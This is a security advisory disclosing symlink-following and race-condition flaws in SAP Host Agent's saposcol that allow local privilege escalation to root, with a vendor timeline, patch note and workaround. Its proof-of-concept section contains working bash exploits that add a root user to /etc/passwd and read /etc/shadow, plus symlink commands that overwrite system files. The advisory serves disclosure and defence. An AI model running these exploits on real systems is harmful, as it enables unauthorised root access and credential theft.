SAP@ Host Agent Privilege Escalation

`SEC Consult Vulnerability Lab Security Advisory < 20221213-0 >  
=======================================================================  
title: Privilege Escalation Vulnerabilities (UNIX Insecure File  
Handling)  
product: SAP® Host Agent (saposcol)  
vulnerable version: see section "Vulnerable / tested versions"  
fixed version: see SAP security note 3159736  
CVE number: CVE-2022-35295  
impact: high  
homepage: https://www.sap.com/about.html  
found: 2022-02-18  
by: Fabian Hagg (Office Vienna)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult, an Atos company  
Europe | Asia | North America  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"SAP® Host Agent is an agent that can accomplish several life-cycle  
management tasks, such as operating system monitoring, database  
monitoring, system instance control and provisioning."  
  
Source: https://help.sap.com/viewer/141cbf7f183242b0ad0964a5195b24e7/202110.000/en-US/48c6f9627a004da5e10000000a421937.html  
  
  
Business recommendation:  
------------------------  
By exploiting the vulnerabilities documented in this advisory, a  
local attacker may escalate privileges on UNIX systems to fully  
compromise vulnerable servers with root privileges.  
  
SEC Consult recommends to implement security note 3159736 where the  
documented issue is fixed according to the vendor. We advise installing  
the corrections as a matter of priority to keep business-critical  
data secured.  
  
  
Vulnerability overview/description:  
-----------------------------------  
Multiple vulnerabilities were identified that could allow a local  
attacker authenticated as <sid>adm to escalate privileges on SAP UNIX  
systems. No additional user authentication is required to exploit  
these issues. The vulnerabilities are due to the privileged saposcol  
process generating files in its default working directory (/usr/sap/tmp;  
defined by profile parameter DIR_PERF) owned by the <sid>adm user (sapsys  
group), and following symbolic links (symlinks) when trying to open/create  
these files. Note that in some environments the directory might not be  
owned by the <sid>adm user account but be writable for all users of  
group sapsys including <sid>adm.  
  
An attacker is able to spoof the symbolic links, thus traversing the  
file system and gaining access to unintended resources. This could permit  
an attacker to read/write/corrupt files owned by the root user account  
leading to privilege escalation.  
  
  
1) UNIX Symlink Following and Insecure File Permissions in Detailed  
Lock Logging Feature of saposcol  
  
The stand-alone saposcol binary available in UNIX systems at  
/usr/sap/hostctrl/exe/saposcol provides a debugging feature called  
"detailed lock logging". For this option to be activated, the user  
<sid>adm can perform the following action:  
  
- Starting the stand-alone saposcol binary with command line argument  
StartLockLog (/usr/sap/hostctrl/exe/saposcol StartLockLog).  
  
Once executed, a special flag is set in shared memory that triggers  
multiple running processes and services (sapstartsrv, saposcol) to  
create a file called SaposcolMonAreaLocking.log in the default  
working directory. This directory is writable by the user  
<sid>adm (group sapsys). One of the processes trying to create the  
file is the main saposcol service running in the context of the root  
user account. It was observed that the file is created by the process  
using the openat() syscall with flags O_WRONLY, O_CREAT and O_APPEND.  
  
-----------------------------------------------------------------------  
root@sapsrv:~# ps -efw  
root 1998 /usr/sap/hostctrl/exe/saposcol -l -w60 pf=/usr/sap/hostctrl/  
exe/host_profile  
  
# Tracing the sapsocol process with PID 1998  
root@sapsrv:~# strace -f -e trace=openat,chmod,chown -p 1998 -q  
[...]  
openat(AT_FDCWD, "/usr/sap/tmp/SaposcolMonAreaLocking.log", O_WRONLY|  
O_CREAT|O_APPEND, 0666) = 6  
chmod("/usr/sap/tmp/SaposcolMonAreaLocking.log", 0666) = 0  
-----------------------------------------------------------------------  
  
Since the openat() call does not have the O_EXCL flag set, it is not  
ensured that the process actually creates the file. That is, if the  
file under the given path already exists, the process tries to open  
the existing file for appending data to it and changing its permissions  
to world-readable/world-writable (666). Since the process, when  
opening an existing file, does not check (e.g., by setting the  
O_NOFOLLOW flag) whether it is a symbolic link that resolves to a  
target outside of the intended directory, an attacker can cause the  
process to operate on unauthorized files by placing a malicious symlink  
before activating the detailed lock logging feature via the stand-alone  
saposcol binary. This vulnerability may allow an attacker to gain read/  
write access to arbitrary files owned by the root user account.  
  
  
2) UNIX Symlink Following and Race Condition in Hardware Reporting  
Feature of saposcol  
  
The main saposcol service running in the context of the root user  
account allows to generate reports containing information about the  
underlying operating system and hardware configuration. For these  
reports to be generated, the user <sid>adm can perform different  
actions:  
  
- Using function GetSAPOSColHWConf of the saphostctrl binary  
(/usr/sap/hostctrl/exe/saphostctrl -function GetSAPOSColHWConf  
[-format <tree|flat>]) that generates a SOAP request for the host  
agent service (SAPHostControl) on port 1128/1129. The request is  
forwarded by sapstartsrv to the saposcol service for processing.  
  
- Manually crafting a SOAP request identical to the one generated by  
the saphostctrl binary and sending it to localhost on port 1128  
/1129 via the loopback interface (e.g., using curl). This request  
is forwarded by sapstartsrv to the saposcol service for processing.  
  
- Using the dialog interface of the stand-alone saposcol binary  
(/usr/sap/hostctrl/exe/saposcol -d) and its "ask" feature (ask  
Hardware/ ask HardwareXML) that communicates with the saposcol  
service using shared memory segments.  
  
- Using transaction ST06 in the application layer (ABAP based  
instances only).  
  
When requested via the SOAP interface of SAPHostControl (sapstartsrv),  
the privileged saposcol process tries to generate the file  
hwconfig_<host> / hw_<host>.xml (depending on whether the XML output  
format is queried) in its working directory. The process then  
collects information about OS resources and writes this data to the given  
file. Once saposcol finished its work, the SAPHostControl service opens  
and reads the file before providing the results to the caller via SOAP  
response. That is, the newly created file is handled as a shared  
resource by both processes. It was observed that when creating a  
malicious symlink before triggering the execution flow described above,  
the saposcol service does not verify if the link points to a resource  
outside of the intended directory. Therefore, the targeted file gets  
truncated, and the collected OS information is written into to it.  
This could allow an attacker to corrupt files owned by the root  
user account.  
  
Moreover, by looking at the sequence of system calls, it  
was identified that this procedure also yields a race condition that  
could be exploited to gain unauthorized read access to files without  
corrupting them. The syscalls performed by the two processes, when the  
hardware report is requested via the SOAP interface of SAPHostControl,  
is shown in the following listing.  
  
-----------------------------------------------------------------------  
# Triggering the execution flow via the saphostctrl binary  
secadm@sapsrv:~$ /usr/sap/hostctrl/exe/saphostctrl -function  
GetSAPOSColHWConf  
  
# Tracing the saposcol process with PID 1998  
root@sapsrv:~# strace -f -e trace=openat,chmod,chown -p 1998 -q -o  
strace.saposcol -T -tt  
  
root@sapsrv:~# cat strace.saposcol | grep "/usr/sap/tmp/hwconfig_sapsrv"  
[...]  
1998 01:06:18.370022 openat(AT_FDCWD,"/usr/sap/tmp/hwconfig_sapsrv",  
O_WRONLY|O_CREAT|O_EXCL|O_TRUNC, 0664) = 6  
1998 01:06:18.370473 chown("/usr/sap/tmp/hwconfig_sapsrv", -1, 460) = 0  
1998 01:06:18.370581 chmod("/usr/sap/tmp/hwconfig_sapsrv", 0664) = 0  
1998 01:06:35.231717 chown("/usr/sap/tmp/hwconfig_sapsrv", -1, 460) = 0  
1998 01:06:35.231833 chmod("/usr/sap/tmp/hwconfig_sapsrv", 0640) = 0  
[...]  
  
# Tracing the sapstartsrv SAPHostControl process with PID 1713  
root@sapsrv:~# strace -f -e trace=open,openat,chmod,chown -p 1713 -q -o  
strace.sapstartsrv -T -tt  
  
root@sapsrv:~# less strace.sapstartsrv | grep "/usr/sap/tmp/hwconfig_sapsrv"  
[...]  
1713 01:06:35.782818 openat(AT_FDCWD,"/usr/sap/tmp/hwconfig_sapsrv",  
O_RDONLY) = 20  
[...]  
-----------------------------------------------------------------------  
  
It can be seen that the saposcol service first requests a file  
descriptor by creating the report file via the openat() syscall. The  
file is made readable/writable (664) to all users of group sapsys by  
means of the first series of chmod()/chown() syscalls. The process then  
retrieves the OS information and writes the results into the report  
file before a second series of chmod()/chown() syscall ensures that  
this file is made read-only (640) to users of group sapsys only. The  
program, however, does not check whether the file under the given path  
has changed since it was created in the first place. An attacker can  
attempt to place a malicious symlink in the interval between the  
saposcol process succeeds in creating the report file and obtaining a  
file descriptor and before the file permissions are changed by the  
second series of chmod()/chown() syscalls.  
  
If an attacker manages to carefully choose the time period between  
triggering the execution flow and replacing the newly created file  
with a link to an otherwise inaccessible resource, this resource does  
not get corrupted. Instead, the targeted file is made readable to all  
users of group sapsys, and its content is returned by the SAPHostControl  
process opening the file in read-only mode afterwards. This may allow  
an attacker to gain read access to files owned by the root user account.  
  
  
3) UNIX Symlink Following and Race Condition in System Log Feature of  
saposcol  
  
The main saposcol service running in the context of the root user  
account allows to generate reports containing information about  
operating system logs. For these reports to be generated, the user  
<sid>adm can perform the following action:  
  
- Using the dialog interface of the stand-alone saposcol binary  
(/usr/sap/hostctrl/exe/saposcol -d) and its "ask" feature (ask  
OsSysLog <number of lines>) that communicates with the main  
saposcol process using shared memory segments.  
  
- Using transaction ST06 in the application layer (ABAP based  
instances only).  
  
It was observed that when creating the system log report file  
ossyslog_<host> in its working directory, the saposcol process  
appears to be vulnerable to the same issues as described in 2.  
  
  
4) UNIX Symlink Following in Log File Creation of saposcol  
  
The main saposcol service running in the context of the root user  
account writes log information to the files dev_coll and  
dev_coll.tmp in its working directory. It was observed that when  
creating these log files during startup, the saposcol process  
resolves malicious symlinks which can be exploited to corrupt  
arbitrary files owned by the root user account. For successful  
exploitation, however, user interaction and a restart of the main  
saposcol process is required. To provoke a restart, the <sid>adm  
user can stop the running saposcol process by performing the  
following action:  
  
- Using option -k of the stand-alone saposcol binary  
(/usr/sap/hostctrl/exe/saposcol -k) that communicates with the  
main saposcol process using shared memory segments.  
  
  
5) UNIX Symlink Following in Shared Memory Dump File Creation of  
saposcol  
  
The main saposcol service running in the context of the root user  
account writes the data in the shared memory segment to the file coll.put  
in its working directory when being terminated. It was observed  
that when creating this file, the saposcol process resolves malicious  
symlinks which can be exploited to corrupt arbitrary files owned by  
the root user account. To stop the running saposcol process and  
trigger the execution flow, the <sid>adm user can perform the  
following action:  
  
- Using option -k of the stand-alone saposcol binary  
(/usr/sap/hostctrl/exe/saposcol -k) that communicates with the  
main saposcol process using shared memory segments.  
  
  
Proof of concept:  
-----------------  
Note that the following PoCs are for demonstration purposes only and  
must not be executed in live environments.  
  
  
1) UNIX Symlink Following and Insecure File Permissions in Detailed  
Lock Logging Feature of saposcol  
  
For demonstration purposes, the bash snippet saposcollpe shown in  
the following listing can be executed when being authenticated to  
the local system as <sid>adm.  
  
-----------------------------------------------------------------------  
#!/bin/bash  
  
PASSWD="/etc/passwd"  
USER=$1  
PASS=$(openssl passwd -1 -salt $1 $2)  
  
echo "[i] Creating malicious symlink."  
ln -sf $PASSWD /usr/sap/tmp/SaposcolMonAreaLocking.log;  
echo "[i] Dropping dbg flag in shm via saposcol."  
/usr/sap/hostctrl/exe/saposcol StartLockLog > /dev/null;  
echo "[i] Waiting for permissions to be set..."  
while true; do  
if [ -w $PASSWD ]  
then  
rm -f /usr/sap/tmp/SaposcolMonAreaLocking.log;  
/usr/sap/hostctrl/exe/saposcol StopLockLog > /dev/null;  
echo "[i] Success. /etc/passwd is now world-writable."  
echo "$USER:$PASS:0:0::/root:/bin/bash" >> /etc/passwd;  
echo "[i] New user" $USER "with UID 0 created."  
break  
fi  
done  
echo "[+] Done"  
-----------------------------------------------------------------------  
  
This script exploits the vulnerability to create a new user (username  
and password specified via command line args) holding root privileges.  
  
-----------------------------------------------------------------------  
secadm@sapsrv:~$ whoami  
secadm  
  
secadm@sapsrv:~$ id  
uid=1001(secadm) gid=493(sapsys) groups=493(sapsys),1001(sapinst)  
  
secadm@sapsrv:~$ ./saposcollpe sapmatt sappass  
[i] Creating malicious symlink.  
[i] Dropping dbg flag in shm via saposcol.  
[i] Waiting for permissions to be set.  
[i] Success. /etc/passwd is now world-writable.  
[i] New user sapmatt with UID 0 created.  
[+] Done  
  
secadm@sapsrv:~$ su - sapmatt  
Password:  
Directory: /root  
  
sapsrv:~# whoami  
sapmatt  
  
sapsrv:~# id  
uid=0(sapmatt) gid=0(root) groups=0(root)  
-----------------------------------------------------------------------  
  
  
2) UNIX Symlink Following and Race Condition in Hardware Reporting  
  
For demonstration purposes, the bash snippet saposcolrace shown in  
the following listing can be executed when being authenticated to the  
local system as <sid>adm.  
  
-----------------------------------------------------------------------  
#!/bin/bash  
  
HOST=$(hostname)  
TARGETFILE=$1  
COUNTER=10  
OUT="CONTINUE"  
  
ls -la $TARGETFILE  
echo "[i] Racing..."  
while [ -n "$OUT" ]  
do  
echo "[*] $COUNTER sec"  
rm -f /usr/sap/tmp/hwconfig_$HOST  
/usr/sap/hostctrl/exe/saphostctrl -function GetSAPOSColHWConf > /tmp/out 2>>/tmp/out &  
sleep "$COUNTER"s; ln -sf $TARGETFILE /usr/sap/tmp/hwconfig_$HOST #set symbolic link  
wait; rm -f /usr/sap/tmp/hwconfig_$HOST  
OUT=$(cat /tmp/out | grep -i "HW File")  
if [ -n "$OUT" ]  
then  
echo "[i] Final laps..."  
let "COUNTER-=1"  
else  
OUT=$(cat /tmp/out | grep -i "LINUX Configuration")  
let "COUNTER-=1"  
fi  
done  
echo "[+] Profit!"  
ls -la $TARGETFILE && cat /tmp/out && rm -f /tmp/out  
-----------------------------------------------------------------------  
  
This script exploits the vulnerability to obtain the contents of a file  
specified as a command line argument. In the following example, the  
/etc/shadow file containing password hashes of the system accounts is  
retrieved.  
  
-----------------------------------------------------------------------  
secadm@sapsrv:~$ whoami  
secadm  
  
secadm@sapsrv:~$ id  
uid=1001(secadm) gid=493(sapsys) groups=493(sapsys),1001(sapinst)  
  
secadm@sapsrv:~$ ./saposcolrace /etc/shadow  
-rw-r----- 1 root shadow 609 Feb 9 2021 /etc/shadow  
[i] Racing....  
[*] 10 sec  
[*] 9 sec  
[*] 8 sec  
[*] 7 sec  
[*] 6 sec  
[*] 5 sec  
[*] 4 sec  
[*] 3 sec  
[i] Final laps....  
[*] 2 sec  
[+] Profit!  
-rw-r----- 1 root sapsys 609 Feb 9 2021 /etc/shadow  
Webmethod returned successfully  
-----------------------------------------------------------------------  
Name = /usr/sap/tmp/hwconfig_sapsrv  
Content  
-----------------------------------------------------------------------  
root:*:18516::::::  
bin:*:18516::::::  
daemon:*:18516::::::  
[...]  
-----------------------------------------------------------------------  
  
  
3) UNIX Symlink Following and Race Condition in System Log Feature of  
saposcol  
  
The vulnerability can be verified by placing a malicious symlink and  
querying the operating system logs via the stand-alone saposcol binary  
as shown in the following listing.  
  
-----------------------------------------------------------------------  
secadm@sapsrv:~$ ln -sf /etc/passwd /usr/sap/tmp/ossyslog_<host>  
secadm@sapsrv:~$ /usr/sap/hostctrl/exe/saposcol -d  
Collector > ask OsSysLog 10  
-----------------------------------------------------------------------  
  
After execution, the file /etc/passwd containing essential user account  
information is overwritten by system log information. The file is also  
made read-only to users of group sapsys only. If the time period between  
querying the operating system log and replacing the newly created report  
file with a malicious symlink is chosen carefully (similar to the technique  
shown in 2.), the targeted file can be made readable without corrupting it.  
  
  
4) UNIX Symlink Following in Log File Creation of saposcol  
  
The vulnerability can be verified by placing a malicious symlink as  
shown in the following listing.  
  
-----------------------------------------------------------------------  
secadm@sapsrv:~$ ln -sf /etc/passwd /usr/sap/tmp/dev_coll  
secadm@sapsrv:~$ ln -sf /etc/passwd /usr/sap/tmp/dev_coll.tmp  
-----------------------------------------------------------------------  
  
After a restart of the main saposcol process, the file /etc/passwd containing  
essential user account information is overwritten by log data.  
  
  
5) UNIX Symlink Following in Shared Memory Dump File Creation  
of saposcol  
  
The vulnerability can be verified by placing a malicious symlink and stopping  
the running saposcol process via the stand-alone saposcol binary as shown  
in the following listing.  
  
-----------------------------------------------------------------------  
secadm@sapsrv:~$ ln -sf /etc/passwd /usr/sap/tmp/coll.put  
secadm@sapsrv:~$ /usr/sap/hostctrl/exe/saposcol -k  
-----------------------------------------------------------------------  
  
After termination of the main saposcol process, the file /etc/passwd  
containing essential user account information is overwritten by current  
data in the shared memory segment.  
  
  
Vulnerable / tested versions:  
-----------------------------  
The following versions of the binaries were found to be vulnerable  
during our tests:  
  
- SAP Host Agent 721 (patch no. 42)  
SAPOSCOL version COLL 22.11 721 - v2.42 (patch no. 1214)  
- SAP Host Agent 722 (patch no. 54)  
SAPOSCOL version COLL 22.11 722 - v2.49 (patch no. 1113)  
  
According to the vendor the following releases and versions  
are affected by the discovered vulnerabilities:  
  
- SAPHOSTAGENT 7.22  
  
  
Vendor contact timeline:  
------------------------  
2022-02-22: Contacting vendor through vulnerability submission web form.  
2022-02-23: Vendor confirms receipt and assigns internal ID #2280075571.  
2022-03-02: Vendor asks for additional information on file system permissions.  
2022-03-03: Providing required information via encrypted PGP mail.  
2022-03-09: Vendor asks for additional information on file system permissions.  
2022-03-10: Providing required information via encrypted PGP mail.  
2022-03-30: Vendor accepts vulnerability and states that a fix is in progress.  
The initially submitted CVSS assessment 7.8 (LLLN|U|HHH) is disagreed  
with. A new vector string/score 6.7 (NLHN|U|LHH) is proposed by the  
vendor.  
2022-04-04: Providing detailed explanation for initially submitted CVSS score  
and CVSS vector string. No answer received.  
2022-06-14: Requesting update.  
2022-06-28: Vendor informs that the security note is expected to be released at  
September Patchday 2022.  
2022-09-10: Vendor informs about upcoming release of the patch and registration  
of CVE number.  
2022-09-13: Vendor releases patch with SAP Security Note 3159736. The corresponding  
CVE possess a CVSS vector string/score of 6.7 (NLHN|U|LHH).  
2022-12-13: Coordinated release of security advisory.  
  
  
Solution:  
---------  
The vendor provides a patched version which should be installed immediately.  
Patches are available in form of SAP Security Notes which can be accessed  
via the SAP Customer Launchpad [1]. More information can also be found in  
the Official SAP Security Patchday Blog [2].  
  
The following Security Note needs to be implemented: 3159736  
  
[1] https://launchpad.support.sap.com/#/securitynotes  
[2] https://dam.sap.com/mac/app/e/pdf/preview/embed/ucQrx6G?ltr=a&rc=10  
  
  
Workaround:  
-----------  
Remove write access to the DIR_PERF (e.g. /usr/sap/tmp) directory for <sid>adm  
account. Note that this change may interfere with other programs such as CCMS.  
  
  
Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
  
SEC Consult, an Atos company  
Europe | Asia | North America  
  
About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Atos company. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://sec-consult.com/career/  
  
Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://sec-consult.com/contact/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Mail: security-research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: http://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult  
  
EOF F. Hagg / @2022  
  
`